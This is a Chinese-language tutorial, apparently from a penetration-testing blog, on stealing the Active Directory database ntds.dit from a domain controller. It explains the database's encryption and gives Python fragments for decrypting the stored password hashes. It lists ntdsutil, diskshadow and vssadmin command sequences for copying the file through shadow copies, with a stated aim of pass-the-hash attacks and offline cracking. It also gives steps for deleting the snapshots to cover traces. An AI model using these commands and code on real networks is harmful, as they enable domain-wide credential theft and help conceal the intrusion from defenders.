应用背景
通常情况下,即使拥有管理员权限,也无法读取域控中的 C:\Windows\NTDS\ntds.dit,ntds 中存储 AD 数据,包括有关用户对象,组和组成员身份的信息,包括域中所有用户的密码 hash,如果攻击者拿到了这个文件,可以用 mimikatz 实现 PTH 攻击,或者离线用 Hashcat 破解。
这个文件和 SAM 文件一样,是被操作系统锁定的,一般情况下系统运维人员会利用卷影拷贝服务(volume Shadow Copy Server,VSS)实现 ntds.dit 的拷贝。
一般域环境内最重要的三个文件如下:
ntds.dit文件位置: C:\\Windows\\NTDS\\NTDS.dit
system文件位置:C:\\Windows\\System32\\config\\SYSTEM
sam文件位置:C:\\Windows\\System32\\config\\SAM
NTDS 的加密
加密方式是 2 层 RC4 + 1 层 DES,如果解密必须执行以下步骤:
1.使用启动密钥(RC4-第1层)解密PEK(密码加密密钥)
2.第一轮哈希解密(使用PEK和RC4-第2层)
3.第二轮哈希解密(DES-第3层)
首先是要解密 PEK,PEK或密码加密密钥用于加密NTDS.DIT中存储的数据。该密钥在整个域中都是相同的,这意味着在所有域控制器上它都是相同的。
PEK本身也以加密形式存储在NTDS.DIT中。为了对其进行解密,将需要来自获得NDTS.DIT文件的同一域控制器中的注册表(SYSTEM配置单元)。这是因为PEK是使用BOOTKEY加密的,该BOOTKEY在所有域控制器(实际上在域中的所有计算机)上都是不同的。
为了解密 PEK,要从 NTDS.DIT 中获取 ATTk590689 字段,该值的长度位 76 个字节
标头8字节 + RC4的密钥材料16字节 + 加密的PEK 52字节
解密后 PEK 密钥的实际是为最后 16 字节。当获得密钥后可用以下解密算法:
md5 = MD5.new()
md5.update(bootkey)
for i in range(1000):
md5.update(enc_pek [0:16])
rc4_key = md5.digest();
rc4 = ARC4.new(rc4_key)
pek = rc4.encrypt(enc_pek [16:])
return pek [36:]
现在已经获得了 PEK,下一步就是解密 ATTk589879 (加密的LM哈希 )和 ATTk589914 (加密的NT哈希) 属性中的哈希。
第二步是删除 RC4 加密层,解密 RC4 的密钥是 PEK 密钥 + 加密哈希的前16字节,加密哈希结构如下:
标头8字节 + RC4的密钥材料16字节 + 加密的哈希16字节
python 实现代码:
md5 = MD5.new()
md5.update(pek)
md5.update(enc_hash [0:16])
rc4_key = md5.digest();
rc4 = ARC4.new(rc4_key)
denc_hash = rc4.encrypt(enc_hash [16:])
最后是删除 DES 加密层
(des_k1,des_k2)= sid_to_key(rid)
d1 = DES.new(des_k1,DES.MODE_ECB)
d2 = DES.new(des_k2,DES.MODE_ECB)
hash = d1.decrypt(denc_hash) [:8]+ d2.decrypt(denc_hash [8:])
抓取 ntds.dit
创建快照:
ntdsutil snapshot "activate instance ntds" create quit quit
挂载快照:
ntdsutil snapshot "mount {35819391-5b5f-4aec-8df2-14576c9f5593}" quit quit
复制 ntds.dit
copy C:\$SNAP_202202221846_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit

现在在 c 盘已经可以看到 ntds.dit

之后要做一些清除痕迹的工作:
卸载快照:
ntdsutil snapshot "unmount {35819391-5b5f-4aec-8df2-14576c9f5593}" quit quit
删除快照:
ntdsutil snapshot "delete {35819391-5b5f-4aec-8df2-14576c9f5593}" quit quit
用 diskshadow 导出
diskshadow 执行文件中的命令
//设置卷影拷贝
set context persistent nowriters
//添加卷
add volume c: alias someAlias
//创建快照
create
//分配虚拟磁盘盘符
expose %someAlias% z:
//将ntds.dit复制到C盘中
exec "cmd.exe" /c copy z:\\windows\\ntds\\ntds.dit c:\\ntds.dit
//删除所有快照
delete shadows all
//列出系统中的卷影拷贝
list shadows all
//退出
reset
exit
执行(需要进入C:\Windows\System32目录下执行)
diskshadow /s C:\\command.txt
用 vssadmin 导出
vssadmin create shadow /for=c:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy6\windows\ntds\ntds.dit c:\\ntds.dit
vssadmin delete shadows /for=c: /quiet

参考文献: